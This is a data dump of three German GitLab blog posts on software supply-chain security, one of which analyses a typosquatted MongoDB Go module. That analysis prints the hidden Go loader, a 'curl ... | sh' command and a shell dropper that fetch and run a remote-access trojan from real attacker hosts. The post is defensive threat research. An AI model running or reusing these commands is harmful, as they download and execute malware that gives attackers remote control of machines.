Gitlab","de-de/blog/how-to-transform-compliance-observation-management-with-gitlab.yml","de-de/blog/how-to-transform-compliance-observation-management-with-gitlab",{"_path":732,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":733,"content":736,"config":744,"_id":746,"_type":16,"title":747,"_source":18,"_file":748,"_stem":749,"_extension":21},"/de-de/blog/software-supply-chain-security-guide-why-organizations-struggle",{"noIndex":6,"title":734,"description":735},"Software Supply Chain Security Leitfaden: Warum Organisationen scheitern","Teil 1 dieser neuen Serie untersucht grundlegende Herausforderungen, praktische Lösungen und neue Trends, einschließlich KI, die jedes Entwicklungsteam verstehen muss.",{"title":737,"description":738,"authors":739,"heroImage":740,"date":721,"body":741,"category":14,"tags":742},"Warum Organisationen bei der Software Supply Chain Security kämpfen","Der erste Teil dieser Serie behandelt die wichtigsten Herausforderungen, praktische Lösungsansätze und aktuelle Trends wie KI – Wissen, das jedes Entwicklungsteam braucht.",[673],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097701/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%285%29_1iy516k40hwBDChKcUJ2zb_1750097700983.png","Wenn du die meisten Entwicklungsteams nach Supply Chain Security fragst, konzentrieren sich ihre Antworten auf Schwachstellenscans oder Abhängigkeitsmanagement. Diese Bereiche sind zwar wichtige Komponenten, stellen aber eine gefährlich eingeschränkte Sichtweise auf eine viel komplexere Herausforderung dar.\n\n**Software-Supply-Chain-Sicherheit beschränkt sich nicht nur auf das Scannen von Abhängigkeiten.** Sie umfasst den gesamten Prozess von der Code-Entwicklung bis zur Produktionsbereitstellung, einschließlich:\n\n* **Quellsicherheit:** Schutz von Code-Repositorys, Verwaltung von Mitwirkenden-Zugriff, Sicherstellung der Code-Integrität \n* **Build-Sicherheit:** Sichere Build-Umgebungen, Verhinderung von Manipulationen während der Kompilierung und Paketierung \n* **Artefakt-Sicherheit:** Sicherstellung der Integrität von Containern, Paketen und Bereitstellungsartefakten \n* **Bereitstellungssicherheit:** Sicherung der Liefermechanismen und Laufzeitumgebungen \n* **Tool-Sicherheit:** Härtung der Entwicklungstools und Plattformen selbst\n\nDie \"Kette\" in Supply Chain Security bezieht sich auf diese miteinander verbundene Reihe von Schritten. Eine Schwachstelle an irgendeiner Stelle in der Kette kann den gesamten Software-Lieferprozess kompromittieren.\n\nDer [SolarWinds-Angriff von 2020](https://www.cisa.gov/news-events/news/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure-security) veranschaulicht dies perfekt. In einem der größten Supply-Chain-Angriffe der Geschichte kompromittierten staatlich geförderte Angreifer die Build-Pipeline von SolarWinds' Orion-Netzwerkverwaltungssoftware. Anstatt eine anfällige Abhängigkeit auszunutzen oder die fertige Anwendung zu hacken, injizierten sie bösartigen Code während des Kompilierungsprozesses selbst.\n\nDas Ergebnis war verheerend: Mehr als 18.000 Organisationen, einschließlich mehrerer US-Regierungsbehörden, installierten unwissentlich Software mit Hintertüren durch normale Updates. Der Quellcode war sauber, die fertige Anwendung erschien legitim. Doch der Build-Prozess war kompromittiert worden. Dieser Angriff blieb monatelang unentdeckt und zeigte, wie Supply-Chain-Schwachstellen traditionelle Sicherheitsmaßnahmen umgehen können.\n\n### Häufige Missverständnisse, die Organisationen verwundbar machen\n\nTrotz des wachsenden Bewusstseins für Supply-Chain-Bedrohungen bleiben viele Organisationen anfällig, weil sie grundlegenden Missverständnissen über Software-Supply-Chain-Sicherheit unterliegen. Diese Missverständnisse schaffen gefährliche Sicherheitslücken:\n\n* Denken, dass Software Supply Chain Security gleich Abhängigkeitsscanning ist \n* Sich nur auf Open-Source-Komponenten konzentrieren und proprietäre Code-Risiken ignorieren \n* Glauben, dass Code-Signierung allein ausreichenden Schutz bietet \n* Annehmen, dass sichere Codierungspraktiken Supply-Chain-Risiken eliminieren \n* Es als Problem des Sicherheitsteams behandeln statt als Herausforderung des Entwicklungsworkflows\n\n![Software Supply Chain Security Abhängigkeitsdiagramm](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200077/kqndvlxyvncshdiq0xea.png)\n\n## Wie KI das Spiel verändert\n\nWährend Organisationen noch mit traditionellen Herausforderungen der Software-Supply-Chain-Sicherheit kämpfen, führt künstliche Intelligenz (KI) völlig neue Angriffsvektoren ein und verstärkt bestehende auf beispiellose Weise.\n\n### KI-gestützte Angriffe: Ausgefeilter, skalierbarer\n\nAngreifer nutzen KI, um die Schwachstellenentdeckung zu automatisieren, überzeugende Social-Engineering-Angriffe gegen Entwickler zu generieren und öffentliche Codebasen systematisch auf Schwächen zu analysieren. Was früher manuelle Arbeit erforderte, lässt sich jetzt in großem Maßstab durchführen – mit Präzision.\n\n### Die KI-Entwicklungs-Supply-Chain führt neue Risiken ein\n\nKI gestaltet den gesamten Entwicklungslebenszyklus neu, führt aber auch erhebliche Sicherheitslücken ein:\n\n* **Modell-Supply-Chain-Angriffe:** Vortrainierte Modelle von Quellen wie Hugging Face oder GitHub können Hintertüren oder vergiftete Trainingsdaten enthalten. \n* **Unsicherer KI-generierter Code:** Entwickler(innen), die KI-Coding-Assistenten verwenden, könnten unwissentlich verwundbare Muster oder unsichere Abhängigkeiten einführen. \n* **Kompromittierte KI-Toolchains:** Die Infrastruktur zum Trainieren, Bereitstellen und Verwalten von KI-Modellen schafft eine neue Angriffsoberfläche. \n* **Automatisierte Aufklärung:** KI ermöglicht es Angreifern, ganze Ökosysteme zu scannen, um hochwertige Supply-Chain-Ziele zu identifizieren. \n* **Schatten-KI und nicht genehmigte Tools:** Entwickler(innen) könnten externe KI-Tools integrieren, die nicht überprüft wurden.\n\nDas Ergebnis? KI führt nicht nur neue Schwachstellen ein, sie verstärkt auch das Ausmaß und die Auswirkungen bestehender Schwachstellen. Organisationen können sich nicht länger auf schrittweise Verbesserungen verlassen. Die Bedrohungslandschaft entwickelt sich schneller, als sich aktuelle Sicherheitspraktiken anpassen können.\n\n![KI-Verstärkungseffekt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200139/xuxezxld6ztlvjocgjlx.png)\n\n## Warum die meisten Organisationen immer noch kämpfen\n\nSelbst Organisationen, die Supply-Chain-Sicherheit verstehen, scheitern oft daran, effektiv zu handeln. Die Statistiken zeigen ein beunruhigendes Muster: Bewusstsein ohne entsprechende Verhaltensänderung.\n\nAls [Colonial Pipeline 2021 Hackern 4,4 Millionen Dollar zahlte](https://www.cnn.com/2021/05/19/politics/colonial-pipeline-ransom/index.html), um den Betrieb wiederherzustellen, oder als 18.000 Organisationen dem SolarWinds-Angriff zum Opfer fielen, war die Botschaft klar: Supply-Chain-Schwachstellen können kritische Infrastruktur lahmlegen und sensible Daten in beispiellosem Ausmaß kompromittieren.\n\nDennoch machen die meisten Organisationen trotz dieses Bewusstseins weiter wie gewohnt. Die eigentliche Frage ist nicht, ob sich Organisationen um Supply-Chain-Sicherheit sorgen – sondern warum sich diese Sorge nicht in effektiven Schutz umsetzt.\n\nDie Antwort liegt in vier kritischen Barrieren, die effektives Handeln verhindern:\n\n**1. Die falsche Sparsamkeitsmentalität**\n\nOrganisationen konzentrieren sich manchmal auf die Kosten, anstatt zu fragen: \"Was ist der effektivste Ansatz?\" Dieses kostenorientierte Denken schafft teure Folgeprobleme.\n\n**2. Die Realität des Fachkräftemangels**\n\nMit [durchschnittlich 4 Sicherheitsfachleuten pro 100 Entwickler(innen)](https://codific.com/bsimm-building-security-in-maturity-model-a-complete-guide/) laut BSIMM-Forschung und [90% der Organisationen, die kritische Cybersicherheits-Qualifikationslücken melden](https://www.isc2.org/Insights/2024/09/Employers-Must-Act-Cybersecurity-Workforce-Growth-Stalls-as-Skills-Gaps-Widen) laut ISC2, sind traditionelle Ansätze mathematisch unmöglich zu skalieren.\n\n**3. Fehlausgerichtete organisatorische Anreize**\n\nEntwickler-OKRs konzentrieren sich auf Feature-Geschwindigkeit, während Sicherheitsteams andere Ergebnisse messen. Wenn die Prioritäten der Geschäftsleitung die Markteinführungsgeschwindigkeit über die Sicherheitslage stellen, wird Reibung unvermeidlich.\n\n**4. Tool-Komplexitätsüberlastung**\n\nDas [durchschnittliche Unternehmen nutzt 45 Cybersicherheitstools](https://www.gartner.com/en/newsroom/press-releases/2025-03-03-gartner-identifiesthe-top-cybersecurity-trends-for-2025), wobei [40% der Sicherheitswarnungen Fehlalarme sind](https://www.ponemon.org/news-updates/blog/security/new-ponemon-study-on-malware-detection-prevention-released.html) und muss [durchschnittlich 19 Tools für jeden Vorfall koordinieren](https://newsroom.ibm.com/2020-06-30-IBM-Study-Security-Response-Planning-on-the-Rise-But-Containing-Attacks-Remains-an-Issue).\n\nDiese Barrieren schaffen einen Teufelskreis: Organisationen erkennen die Bedrohung, investieren in Sicherheitslösungen, setzen sie aber so um, dass sie nicht die gewünschten Ergebnisse erzielen.\n\n## Der wahre Preis der Supply-Chain-Unsicherheit\n\nSupply-Chain-Angriffe schaffen Risiken und Kosten, die weit über die anfängliche Behebung hinausgehen. Das Verständnis dieser versteckten Multiplikatoren hilft zu erklären, warum Prävention nicht nur vorzuziehen ist – sie ist essentiell für die Geschäftskontinuität.\n\n**Zeit wird zum Feind**\n\n* Durchschnittliche Zeit zur Identifizierung und Eindämmung einer Supply-Chain-Verletzung: [277 Tage](https://keepnetlabs.com/blog/171-cyber-security-statistics-2024-s-updated-trends-and-data) \n* Zeitraum zum Wiederaufbau des Kundenvertrauens: [2-3+ Jahre](https://www.bcg.com/publications/2024/rebuilding-corporate-trust) \n* Entwicklungsstunden, die von der Produktentwicklung zur Sicherheitsbehebung umgeleitet werden\n\n**Reputationsschäden summieren sich** \n\nWenn Angreifer deine Supply Chain kompromittieren, stehlen sie nicht nur Daten – sie untergraben das Fundament des Kundenvertrauens. [Kundenabwanderungsraten steigen typischerweise um 33% nach einem Verstoß](https://www.metacompliance.com/blog/data-breaches/5-damaging-consequences-of-a-data-breach), während Partnerbeziehungen kostspielige Rezertifizierungsprozesse erfordern. Die Wettbewerbsposition leidet, da Interessenten Alternativen wählen, die als \"sicherer\" wahrgenommen werden.\n\n**Die regulatorische Realität schlägt zu** \n\nDie Regulierungslandschaft hat sich grundlegend verändert. [DSGVO-Strafen betragen jetzt durchschnittlich über 50 Millionen Dollar für erhebliche Datenverstöße](https://www.skillcast.com/blog/20-biggest-gdpr-fines). Der neue [Cyber Resilience Act](https://about.gitlab.com/blog/gitlab-supports-banks-in-navigating-regulatory-challenges/#european-cyber-resilience-act-(cra)) der EU verlangt Supply-Chain-Transparenz. US-Bundesauftragnehmer müssen Software-Stücklisten ([SBOMs](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/)) für alle Softwarekäufe bereitstellen – eine Anforderung, die sich schnell auf die Beschaffung im privaten Sektor ausbreitet.\n\n**Betriebsstörungen multiplizieren sich** \n\nÜber die direkten Kosten hinaus schaffen Supply-Chain-Angriffe betriebliches Chaos: Plattformausfälle während der Angriffsbehebung, Notfall-Sicherheitsaudits über ganze Technologie-Stacks und Rechtskosten aus Kundenklagen und behördlichen Untersuchungen.\n\n## Was an aktuellen Ansätzen falsch ist\n\nDie meisten Organisationen verwechseln Sicherheitsaktivität mit Sicherheitswirkung. Sie setzen Scanner ein, generieren lange Berichte und jagen Teams durch manuelle Nachfassaktionen hinterher. Aber diese Bemühungen gehen oft nach hinten los – und schaffen mehr Probleme, als sie lösen.\n\n### Massives Scannen vs. effektiver Schutz\n\nUnternehmen generieren über [10.000 Sicherheitswarnungen pro Monat, wobei die aktivsten etwa 150.000 Ereignisse pro Tag generieren.](https://www.securityweek.com/enterprises-generate-10000-security-events-day-average-report/) [Aber 63%](https://panther.com/blog/identifying-and-mitigating-false-positive-alerts) davon sind Fehlalarme oder unwichtiges Rauschen. Sicherheitsteams sind überfordert und werden zu Engpässen statt zu Befähigern.\n\n### Der Zusammenbruch der Zusammenarbeit\n\nDie sichersten Organisationen haben nicht die meisten Tools; sie haben die stärkste DevSecOps-Zusammenarbeit. Aber die meisten aktuellen Setups machen dies schwieriger, indem sie Workflows über inkompatible Tools aufteilen, Entwicklern keine Sicherheitsergebnisse in ihrer Umgebung zeigen und keine gemeinsame Sichtbarkeit auf Risiko und geschäftliche Auswirkungen bieten.\n\n## Der Weg nach vorn\n\nDas Verständnis dieser Herausforderungen ist der erste Schritt zum Aufbau effektiver Supply-Chain-Sicherheit. Die Organisationen, die erfolgreich sind, fügen nicht nur mehr Sicherheitstools hinzu, sie überdenken grundlegend, wie Sicherheit in Entwicklungsworkflows integriert wird. Sie überprüfen auch End-to-End-Software-Lieferworkflows, um Prozesse zu vereinfachen, Tools zu reduzieren und die Zusammenarbeit zu verbessern.\n\nBei GitLab haben wir gesehen, wie integrierte DevSecOps-Plattformen diese Herausforderungen angehen können, indem sie Sicherheit direkt in den Entwicklungsworkflow bringen. In unserem nächsten Artikel dieser Serie werden wir untersuchen, wie führende Organisationen ihren Ansatz zur Supply-Chain-Sicherheit durch entwicklerfreundliche Lösungen, KI-gestützte Automatisierung und Plattformen transformieren, die Sicherheit zu einem natürlichen Teil der Entwicklung großartiger Software machen.\n\n> Erfahre mehr über [GitLabs Software Supply Chain Security-Funktionen](https://about.gitlab.com/de-de/solutions/supply-chain/).",[14,677,743],"tutorial",{"featured":6,"template":683,"slug":745},"software-supply-chain-security-guide-why-organizations-struggle","content:de-de:blog:software-supply-chain-security-guide-why-organizations-struggle.yml","Software Supply Chain Security Guide Why Organizations Struggle","de-de/blog/software-supply-chain-security-guide-why-organizations-struggle.yml","de-de/blog/software-supply-chain-security-guide-why-organizations-struggle",{"_path":751,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":752,"content":755,"config":764,"_id":766,"_type":16,"title":767,"_source":18,"_file":768,"_stem":769,"_extension":21},"/de-de/blog/bridging-the-visibility-gap-in-software-supply-chain-security",{"noIndex":6,"title":753,"description":754},"GitLab 18.2: Lücken in der Software Supply Chain Security schließen","Umfassende Scanner-Abdeckung und Visualisierung transitiver Abhängigkeiten. Security Inventory & Dependency Path für vollständige Transparenz. Jetzt testen!",{"title":756,"description":757,"authors":758,"heroImage":760,"date":761,"body":762,"category":14,"tags":763},"Die Sichtbarkeitslücke in der Software Supply Chain Security schließen","GitLab 18.2 bietet Unterstützung für umfassende Scanner-Abdeckung und Visualisierung transitiver Abhängigkeiten.",[759],"Salman Ladha","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749661926/Blog/Hero%20Images/security-patch-blog-image-r2-0506-700x400-fy25_2x.jpg","2025-07-21","Unser neuestes Release, [GitLab 18.2](https://about.gitlab.com/de-de/releases/2025/07/17/gitlab-18-2-released/), führt zwei neue Funktionen zur Verbesserung der Software Supply Chain Security ein: Security Inventory und Dependency Path-Visualisierung.\nSecurity Inventory bietet Application Security Teams eine zentrale, portfolioweite Übersicht über Risiken und Scan-Abdeckung über alle GitLab-Gruppen und -Projekte hinweg. So können sie blinde Flecken identifizieren und Maßnahmen zur Risikominderung priorisieren. Die Dependency Path-Visualisierung zeigt Entwickler(inne)n klar auf, wie Open-Source-Schwachstellen durch die Abhängigkeitskette eingeführt werden, was es einfacher macht, die richtige Lösung zu finden.\nGemeinsam helfen diese Funktionen Sicherheits- und Entwicklungsteams dabei, sicherere Anwendungen zu erstellen, indem sie Transparenz darüber schaffen, wo Risiken bestehen, Kontext zur Behebung liefern und Workflows bereitstellen, die die Zusammenarbeit unterstützen. Im Gegensatz zu anderen Lösungen geschieht all das in derselben Plattform, die Entwickler(innen) zum Erstellen, Überprüfen und Bereitstellen von Software verwenden – ohne den zusätzlichen Integrationsaufwand.\n\n## Open Source erweitert die Angriffsfläche\n\nModerne Anwendungen verlassen sich [stark](https://about.gitlab.com/de-de/developer-survey/) auf Open-Source-Software. Open Source bringt jedoch ein erhebliches Sicherheitsrisiko mit sich – Komponenten können veraltet, nicht mehr gewartet oder unwissentlich anfällig sein. Deshalb ist die Software Composition Analysis (SCA) zu einem Eckpfeiler moderner AppSec-Programme geworden.\nEine zentrale Herausforderung im Schwachstellen-Management ist die effektive Verwaltung des *Risikos transitiver Abhängigkeiten*. Diese Komponenten sind oft tief in der Abhängigkeitskette vergraben. Daher ist es schwierig nachzuvollziehen, wie eine Schwachstelle eingeführt wurde. Ebenso schwer ist es zu bestimmen, was aktualisiert werden muss. Noch schlimmer: Sie machen fast [zwei Drittel](https://arxiv.org/abs/2503.22134?) der bekannten Open-Source-Schwachstellen aus. Ohne klare Sicht auf den gesamten Abhängigkeitspfad sind Teams auf Vermutungen angewiesen, was die Behebung verzögert und das Risiko erhöht.\n\n> Transitive Abhängigkeiten sind Pakete, die deine Anwendung indirekt verwendet. Sie werden automatisch von den direkten Abhängigkeiten eingezogen, die du explizit einbindest. Diese verschachtelten Abhängigkeiten können Schwachstellen einführen, ohne dass der/die Entwickler(in) jemals weiß, dass sie im Projekt vorhanden sind.\n> Diese Herausforderung wird exponentiell schwieriger bei großem Umfang. Sicherheitsteams verwalten oft Hunderte oder Tausende von Repositories. Jedes Repository hat eigene Abhängigkeiten, Build-Pipelines und Verantwortliche. In diesem Umfang wird selbst die Beantwortung grundlegender Sicherheitsfragen zur Herausforderung. Und in einer Zeit wachsender Software Supply Chain-Bedrohungen, in der sich Schwachstellen über geteilte Bibliotheken und CI/CD-Konfigurationen systemübergreifend ausbreiten können, haben diese blinden Flecken noch gravierendere Folgen.\n\n## Security Inventory: Skalierbare Transparenz\n\nSecurity Inventory konsolidiert Risikoinformationen aller Gruppen und Projekte in einer einheitlichen Ansicht. Es zeigt auf, welche Assets durch Sicherheitsscans abgedeckt sind und welche nicht. Anstatt Probleme isoliert zu verwalten, können Sicherheitsteams die Lage ganzheitlich bewerten. So identifizieren sie schnell, wo sie ihre Bemühungen fokussieren sollten.\nDiese zentrale Übersicht ist besonders wichtig für Organisationen mit vielen Repositories. Plattform- und AppSec-Teams verstehen sofort, wo Risiken existieren. Das System hebt ungescannte oder unzureichend geschützte Projekte hervor.\nAußerdem können Teams direkt aus der Oberfläche heraus handeln und über das bloße Bewusstsein hinausgehen. Mit vollem Kontext verstehen sie, welche Anwendungen das größte Risiko darstellen. Security Inventory wandelt fragmentierte Einblicke in eine zentrale Informationsquelle um. So können Organisationen von reaktiver Problem-Triage zu strategischer, datengesteuerter Sicherheits-Governance wechseln.\n![Security Inventory-Anzeige](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101068/qhujktnbkhl2rzgqfead.png)\nErfahre mehr, indem du dir Security Inventory in Aktion ansiehst:\n\n\u003C!-- blank line --> \u003Cfigure class=\"video_container\"> \u003Ciframe src=\"https://www.youtube.com/embed/yqo6aJLS9Fw?si=CtYmsF-PLN1UKt83\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe> \u003C/figure> \u003C!-- blank line -->\n\n## Dependency Path-Visualisierung: Klarheit für effektive Behebung\n\nSecurity Inventory zeigt auf hoher Ebene, wo die Risiken liegen; die Dependency Path-Visualisierung zeigt, wie man sie behebt.\nWenn eine Schwachstelle tief in einer Abhängigkeitskette entdeckt wird, kann die Identifizierung der richtigen Lösung kompliziert sein. Die meisten Sicherheitstools heben das betroffene Paket hervor, erklären aber nicht, wie es in die Codebasis gelangt ist. Entwickler(innen) müssen raten, welche Abhängigkeiten direkt eingeführt werden und welche transitiv eingezogen werden, was es schwierig macht zu bestimmen, wo eine Änderung erforderlich ist – oder schlimmer noch: Patches anzuwenden, die die Grundursache nicht beheben.\nUnsere neue Dependency Path-Visualisierung zeigt nach einem SCA-Scan den vollständigen Weg auf: vom Top-Level-Paket zur anfälligen Komponente. Diese wird manchmal auch als Abhängigkeitsgraph bezeichnet. Diese Klarheit ist unerlässlich. Denn tief eingebettete Schwachstellen sind in Abhängigkeitsketten weit verbreitet. Die Funktion ist direkt in den GitLab-Workflow integriert. Dadurch erhalten Entwickler(innen) umsetzbare Einblicke ohne Kontextwechsel oder Rätselraten. Sicherheitsteams können Probleme effektiver priorisieren. Gleichzeitig haben Entwickler(innen) die Gewissheit, dass ihre Behebungen die Grundursachen angehen.\n![Dependency Path-Visualisierung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101069/kf5ym62gylm5ck6iebjk.png)\n\n## Entwicklerorientierte Sicherheit: Risiken strategisch mindern\n\nDiese Funktionen sind Teil von GitLabs umfassenderer Strategie: Sicherheit innerhalb derselben Plattform bereitzustellen, in der Code geplant, erstellt und bereitgestellt wird. GitLab bettet Sicherheitseinblicke direkt in den DevSecOps-Workflow ein. Das reduziert Reibung und fördert die Zusammenarbeit zwischen Entwicklungs- und Sicherheitsteams.\nSecurity Inventory und Dependency Path-Visualisierung bieten komplementäre Perspektiven: Security Inventory ermöglicht skalierungsbewusste Überwachung, Dependency Path unterstützt präzise Korrekturen. Diese Kombination hilft Teams, das Wichtigste zu priorisieren und Lücken zu schließen. Und das ohne neue Tools oder komplexe Integrationen.\n\n> Starte noch heute mit Security Inventory und Dependency Path-Visualisierung! Melde dich für eine [kostenlose Testversion von GitLab Ultimate](https://about.gitlab.com/de-de/free-trial/) an.\n\n## Weiterlesen\n\n* [GitLab 18.2 veröffentlicht](https://about.gitlab.com/de-de/releases/2025/07/17/gitlab-18-2-released/)\n* [GitLab-Sicherheitslösungen](https://about.gitlab.com/de-de/solutions/security-compliance/)\n* [Ein Leitfaden zu Bedrohungsvektoren in der Software Supply Chain](https://about.gitlab.com/de-de/the-source/security/field-guide-to-threat-vectors-in-the-software-supply-chain/)",[14,678,677],{"featured":6,"template":683,"slug":765},"bridging-the-visibility-gap-in-software-supply-chain-security","content:de-de:blog:bridging-the-visibility-gap-in-software-supply-chain-security.yml","Bridging The Visibility Gap In Software Supply Chain Security","de-de/blog/bridging-the-visibility-gap-in-software-supply-chain-security.yml","de-de/blog/bridging-the-visibility-gap-in-software-supply-chain-security",{"_path":771,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":772,"content":775,"config":781,"_id":783,"_type":16,"title":784,"_source":18,"_file":785,"_stem":786,"_extension":21},"/de-de/blog/gitlab-catches-mongodb-go-module-supply-chain-attack",{"noIndex":6,"title":773,"description":774,"ogDescription":774,"ogTitle":773},"GitLab entdeckt MongoDB Go-Modul Supply-Chain-Angriff","Erfahre, wie GitLab einen Supply-Chain-Angriff aufgedeckt hat, der Go-Entwickler(innen) durch gefälschte MongoDB-Treiber ins Visier nahm, die persistente Backdoor-Malware bereitstellen.",{"title":773,"description":774,"authors":776,"heroImage":777,"body":778,"category":14,"tags":779,"date":780},[698],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg","Software-Supply-Chain-Angriffe über bösartige Abhängigkeiten gehören\nweiterhin zu den bedeutendsten Sicherheitsbedrohungen für die moderne\nSoftwareentwicklung. Die weit verbreitete Nutzung von\nOpen-Source-Komponenten hat es Entwicklungsteams ermöglicht, Anwendungen\nschnell zu erstellen, aber auch die Angriffsfläche vergrößert.\n\n\nDas wachsende Ökosystem von Drittanbieter-Paketen bietet zahlreiche Möglichkeiten für Angreifer, Abhängigkeiten durch Techniken wie Typosquatting, Dependency Confusion und Paket-Impersonation auszunutzen, was es für Entwickler(innen) zunehmend schwieriger macht, legitime Pakete von bösartigen Nachahmungen zu unterscheiden.\n\n\nUm diese Herausforderung anzugehen, hat das Vulnerability Research Team von GitLab kürzlich ein automatisiertes Erkennungssystem entwickelt, das proaktiv bösartige Abhängigkeiten in Software-Supply-Chains identifizieren soll. Das System kombiniert mehrere Erkennungstechniken, die zusammenarbeiten:\n\n\n* Automatisierte Typosquatting-Erkennung, die verdächtige Namensmuster identifiziert\n\n* Semantische Code-Analyse, die potenziell bösartige Verhaltensweisen wie Netzwerkanfragen oder Befehlsausführungen kennzeichnet\n\n* KI-unterstütztes initiales Screening für fortgeschrittene Payload- und Verschleierungserkennung\n\n\nDieser mehrschichtige Ansatz wird vom Vulnerability Research Team verwendet, um kontinuierlich neu veröffentlichte Abhängigkeiten in wichtigen Ökosystemen zu scannen und frühzeitig vor Supply-Chain-Angriffen zu warnen.\n\n\nMit diesem Erkennungssystem hat GitLab kürzlich einen aktiven Typosquatting-Angriff in freier Wildbahn identifiziert, der ein bösartiges MongoDB Go-Modul nutzte. Im Folgenden finden sich Details zum Angriff und dazu, wie GitLab daran arbeitet, Supply Chains sicher zu halten.\n\n\n## Zusammenfassung: Ein MongoDB-Modul, mit dem etwas nicht stimmt\n\n\nUnser Erkennungssystem hat ein neu veröffentlichtes Go-Modul namens `github.com/qiniiu/qmgo` gemeldet, das das beliebte [MongoDB](https://www.mongodb.com/)-Modul `github.com/qiniu/qmgo` genau nachahmt. Das legitime Modul beschreibt sich selbst als „Der Go-Treiber für MongoDB\" und hat in der Go-Community an Bedeutung gewonnen.\n\n\nUm das bösartige Modul als legitim zu tarnen, verwendete der Bedrohungsakteur einen GitHub-Benutzernamen, der fast identisch mit dem des echten Moduls war, mit einer subtilen Änderung: Sie fügten ein „i\" hinzu (`qiniu` → `qiniiu`). Für den gelegentlichen Beobachter, der durch Suchergebnisse oder Auto-Vervollständigungs-Vorschläge scrollt, wäre dieser Unterschied sehr leicht zu übersehen.\n\n\nDer Code des neuen Moduls war eine funktionierende Kopie des legitimen `qmgo`-Moduls. Allerdings wurde bösartiger Code in die `NewClient`-Funktion in `client.go` eingefügt, eine Funktion, die Entwickler(innen) natürlich aufrufen würden, wenn sie ihre MongoDB-Verbindung initialisieren. Das Verbergen von bösartigem Code innerhalb einer Funktion machte die Payload weniger wahrscheinlich, während potenzieller Laufzeit-Sicherheitsanalysen ausgeführt zu werden, während sichergestellt wurde, dass sie bei normaler Nutzung in echten Anwendungen ausgeführt würde.\n\n\nNach der Meldung des bösartigen Moduls wurde es innerhalb von etwa 19 Stunden nach unserer ersten Meldung entfernt. Der Bedrohungsakteur passte sich jedoch schnell an und veröffentlichte nur vier Tage später eine zweite Typosquatting-Version (`github.com/qiiniu/qmgo`) mit identischem bösartigem Code. Dieser Folgeangriff wurde ebenfalls erkannt und etwa eine Stunde nach der ersten Entdeckung entfernt. Die schnelle Neubereitstellung zeigt die Hartnäckigkeit dieser Angriffe und unterstreicht, warum proaktive Erkennung entscheidend ist, um Expositionsfenster zu minimieren.\n\n\n## Technische Tiefenanalyse: Die Schichten abziehen\n\n\nDer Bedrohungsakteur unternahm Schritte, um den Angriff zu verbergen. Die bösartige Payload verwendete einen mehrschichtigen Ansatz, beginnend mit einem kompakten Code-Snippet, das eine Kette von Remote-Payload-Downloads auslöste:\n\n\n```go\n\ntxt, err := script.Get(\"https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html\").String()\n\nif err == nil {\n txt2, err := script.Get(string(strings.Replace(txt, \"\\n\", \"\", -1))).String()\n if err == nil {\n exec.Command(\"/bin/sh\", \"-c\", string(txt2)).Start()\n }\n}\n\n```\n\n\nDer Angriff entfaltet sich in vier verschiedenen Schichten:\n\n\n**Schicht 1:** Der Code holt `update.html` aus einem anderen Repository, das dem Typosquat-Konto `qiiniu/vue-element-admin` gehört. Die Datei enthielt eine einzelne Zeile:\n\n\n```\n\nhttps://img.googlex.cloud/seed.php\n\n```\n\n\n**Schicht 2:** Der Code holt dann `https://img.googlex.cloud/seed.php`, was einen einzelnen Shell-Befehl zurückgibt, der ausgeführt wird:\n\n\n```bash\n\ncurl -s http://207.148.110.29:80/logon61.gif|sh\n\n```\n\n\n**Schicht 3:** Der Befehl weist das System an, `http://207.148.110.29:80/logon61.gif` mit curl abzurufen und die Antwort als Shell-Skript auszuführen. Das Shell-Skript lädt eine scheinbare MP3-Datei (`chainelli.mp3`) nach `/tmp/vod` herunter, macht sie ausführbar, führt sie aus und löscht sie sofort:\n\n\n```bash\n\n#!/bin/sh\n\nrm -rf /tmp/vod\n\ncurl -s http://207.148.110.29:80/chainelli.mp3 -o /tmp/vod\n\nchmod 777 /tmp/vod\n\n/tmp/vod\n\nrm -rf /tmp/vod\n\n```\n\n\n**Schicht 4:** Die `chainelli.mp3`-Datei ist tatsächlich eine statisch gelinkte, gestrippte ELF Go-Binärdatei, die darauf ausgelegt ist, persistenten Remote-Zugriff herzustellen. Nach der Ausführung versucht die Malware, sich mit ihrem Command-and-Control-Server bei `ellipal.spoolsv.cyou` auf Port 443 (sowohl TCP als auch UDP) zu verbinden, wobei ein benutzerdefiniertes verschlüsseltes Kommunikationsprotokoll mit einem hartcodierten RSA-Schlüssel verwendet wird. Von dort aus bietet sie dem Bedrohungsakteur Remote-Administrationsfähigkeiten:\n\n\n* Vollständiger Remote-Shell-Zugriff und einmalige Befehlsausführung\n\n* Screenshot-Aufnahmen\n\n* SOCKS-Proxy-Funktionalität, um Verbindungen über die kompromittierte Maschine herzustellen\n\n* Konfigurierbares Schlafintervall zwischen Check-ins mit dem Command-and-Control-Server zur Vermeidung von Erkennung\n\n* Standard-Remote-Access-Trojaner-Funktionen wie Dateisystem-Browsing und Upload/Download\n\n\n## Es ist zurück (schon wieder)\n\n\nNur vier Tage nachdem GitLab das erste bösartige Modul gemeldet und seine Entfernung beobachtet hatte, erschien `github.com/qiiniu/qmgo` – die zweite Typosquatting-Version mit identischem bösartigem Code. Diese schnelle Neubereitstellung demonstriert die Hartnäckigkeit dieser Angriffe und zeigt, wie Bedrohungsakteure sich schnell an Takedown-Bemühungen anpassen.\n\n\n## GitLabs Ansatz: Nadeln im Heuhaufen finden\n\n\nDie anfängliche Entdeckung und Beständigkeit dieses Angriffs bestätigte unseren Ansatz zur proaktiven Abhängigkeitsüberwachung und Bedrohungserkennung. GitLabs Erkennungssystem kombiniert mehrere Techniken zur Identifizierung bösartiger Abhängigkeiten:\n\n\n**Typosquatting-Erkennung:** GitLab überwacht neu veröffentlichte Abhängigkeiten und sucht 